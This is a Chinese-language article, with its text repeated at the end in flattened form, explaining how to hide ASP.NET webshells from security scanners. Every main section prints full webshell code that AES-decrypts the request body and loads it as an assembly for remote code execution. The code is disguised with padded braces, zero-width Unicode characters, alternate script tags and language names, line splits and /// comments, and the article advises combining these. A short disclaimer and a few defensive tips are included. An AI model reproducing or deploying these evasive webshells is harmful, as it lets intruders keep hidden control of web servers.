几种相对少见的asp.net的免杀方法
字数 1271 2025-08-29 08:31:41

ASP.NET免杀技术详解

前言

本文详细解析了几种相对少见的ASP.NET免杀方法,这些技术可以用于绕过安全检测工具(如D盾)的检测机制。请注意,这些技术仅用于安全研究和防御目的,请勿用于非法用途。

1. 花括号和分号混淆

在ASP.NET语法中,可以添加大量花括号{}和分号;作为混淆手段,这些不会影响代码的正常解析。

示例代码

<% @page language=c# Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b");byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

特点

  • 在语法结束处添加大量{};
  • 需要与其他免杀手法配合使用效果更佳

2. Unicode空白连接符

利用Unicode中的零宽连字字符(ZwJ)和零宽不折行空格字符来混淆关键代码。

常用Unicode混淆字符

字符 Unicode编码 类型
ZWJ \u200c, \u200d, \u200e, \u200f 零宽连字
零宽空格 \ufeff, \u202a, \u202b, \u202c, \u202d, \u202e 零宽不折行空格

示例代码

<%@language = c#%><%@Import Namespace="System.Reflection"%><%Session.Add("k","e45e329feb5d925b"); byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);%>

特点

  • 在关键函数名或参数名中插入零宽字符
  • 不影响代码执行但能干扰安全检测

3. 替代声明标签

除了常见的<% %>标签外,ASP.NET还支持其他形式的代码声明方式。

3.1 语言声明变体

  • <% @language="C#" %> 可替换为 <% @language="Csharp" %>
  • 某些安全设备可能只检测"C#"而不检测"Csharp"

3.2 script标签形式

标准形式

<% @language="C#" %><%Response.Write("hello world ashx");%>

替代形式1

<script language=csharp runat=server>
void page_load(){
    Response.Write("hello world");
}
</script>

替代形式2(结合免杀):

<script language=csharp runat=server>
void page_load(){
    Session.Add("k","e45e329feb5d925b"); 
    byte[] k = Encoding.Default.GetBytes(Session[0] + ""),c = Request.BinaryRead(Request.C\u202con\u202dtent\u202bLen\u202egth); 
    System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this);
}
</script>

特点

  • 使用<script>标签替代<% %>
  • 需要定义page_load方法
  • 可与其他免杀技术结合

4. 换行特性

通过插入换行符来干扰安全检测工具的解析。

示例

<% @language = c# %>
<%@Import Namespace="System.Reflection"%>
<%
Session.Add("k","e45e329feb5d925b"); 
byte[] k = Encoding.Default.GetBytes(Session[0] + ""),
c = Request.BinaryRead(Request.ContentLength); 
Assembly.Load(new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(k, k)
.TransformFinalBlock(c, 0, c.Length))
.CreateInstance("U")
.Equals(this);
%>

特点

  • 将单行代码拆分为多行
  • 效果相对有限,需与其他技术配合

5. C#的///特性和XML注释

利用C#的XML注释特性///进行混淆。

有效示例

<%@language = c#%>
<%@Import Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); 
/// 
byte[] k = Encoding.Default.GetBytes(Session[0] + ""),
/// 
c = Request.BinaryRead(Request.ContentLength);
/// 
Assembly.Load(new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(k, k)
.TransformFinalBlock(c, 0, c.Length))
.CreateInstance("U")
.Equals(this);%>

无效示例(使用\\而非///):

<%@language = c#%>
<%@Import Namespace="System.Reflection"%>
<%Session.Add("k","e45e329feb5d925b"); 
byte[] k = Encoding.Default.GetBytes(Session[0] + ""),
c = Request.BinaryRead(Request.ContentLength); 
\\Assembly.Load(new System.Security.Cryptography.RijndaelManaged()
.CreateDecryptor(k, k)
.TransformFinalBlock(c, 0, c.Length))
.CreateInstance("U")
.Equals(this);%>

特点

  • 只能使用///作为XML注释
  • //\\会导致语法错误
  • 注释需要与代码换行配合

综合应用建议

  1. 组合使用多种技术:单一技术可能效果有限,建议组合使用Unicode混淆、标签替换和注释等技术
  2. 关键字替换:如将"C#"替换为"Csharp"
  3. 代码结构变化:改变代码的组织方式,避免特征匹配
  4. 测试验证:每次修改后需验证代码功能是否正常

防御建议

对于防御方,建议:

  1. 监控和过滤Unicode零宽字符
  2. 检测多种形式的语言声明
  3. 关注<script runat=server>形式的代码块
  4. 实现多层次的代码分析和语义分析,而非简单的特征匹配

总结

本文详细介绍了五种ASP.NET免杀技术,包括语法符号混淆、Unicode字符混淆、替代标签使用、换行拆分和注释利用。这些技术可以单独或组合使用,以绕过某些安全检测机制。安全研究人员应了解这些技术以更好地防御相关攻击。

ASP.NET免杀技术详解 前言 本文详细解析了几种相对少见的ASP.NET免杀方法,这些技术可以用于绕过安全检测工具(如D盾)的检测机制。请注意,这些技术仅用于安全研究和防御目的,请勿用于非法用途。 1. 花括号和分号混淆 在ASP.NET语法中,可以添加大量花括号 {} 和分号 ; 作为混淆手段,这些不会影响代码的正常解析。 示例代码 : 特点 : 在语法结束处添加大量 {} 和 ; 需要与其他免杀手法配合使用效果更佳 2. Unicode空白连接符 利用Unicode中的零宽连字字符(ZwJ)和零宽不折行空格字符来混淆关键代码。 常用Unicode混淆字符 | 字符 | Unicode编码 | 类型 | |------|------------|------| | ZWJ | \u200c, \u200d, \u200e, \u200f | 零宽连字 | | 零宽空格 | \ufeff, \u202a, \u202b, \u202c, \u202d, \u202e | 零宽不折行空格 | 示例代码 : 特点 : 在关键函数名或参数名中插入零宽字符 不影响代码执行但能干扰安全检测 3. 替代声明标签 除了常见的 <% %> 标签外,ASP.NET还支持其他形式的代码声明方式。 3.1 语言声明变体 <% @language="C#" %> 可替换为 <% @language="Csharp" %> 某些安全设备可能只检测"C#"而不检测"Csharp" 3.2 script标签形式 标准形式 : 替代形式1 : 替代形式2 (结合免杀): 特点 : 使用 <script> 标签替代 <% %> 需要定义 page_load 方法 可与其他免杀技术结合 4. 换行特性 通过插入换行符来干扰安全检测工具的解析。 示例 : 特点 : 将单行代码拆分为多行 效果相对有限,需与其他技术配合 5. C#的///特性和XML注释 利用C#的XML注释特性 /// 进行混淆。 有效示例 : 无效示例 (使用 \\ 而非 /// ): 特点 : 只能使用 /// 作为XML注释 // 和 \\ 会导致语法错误 注释需要与代码换行配合 综合应用建议 组合使用多种技术 :单一技术可能效果有限,建议组合使用Unicode混淆、标签替换和注释等技术 关键字替换 :如将"C#"替换为"Csharp" 代码结构变化 :改变代码的组织方式,避免特征匹配 测试验证 :每次修改后需验证代码功能是否正常 防御建议 对于防御方,建议: 监控和过滤Unicode零宽字符 检测多种形式的语言声明 关注 <script runat=server> 形式的代码块 实现多层次的代码分析和语义分析,而非简单的特征匹配 总结 本文详细介绍了五种ASP.NET免杀技术,包括语法符号混淆、Unicode字符混淆、替代标签使用、换行拆分和注释利用。这些技术可以单独或组合使用,以绕过某些安全检测机制。安全研究人员应了解这些技术以更好地防御相关攻击。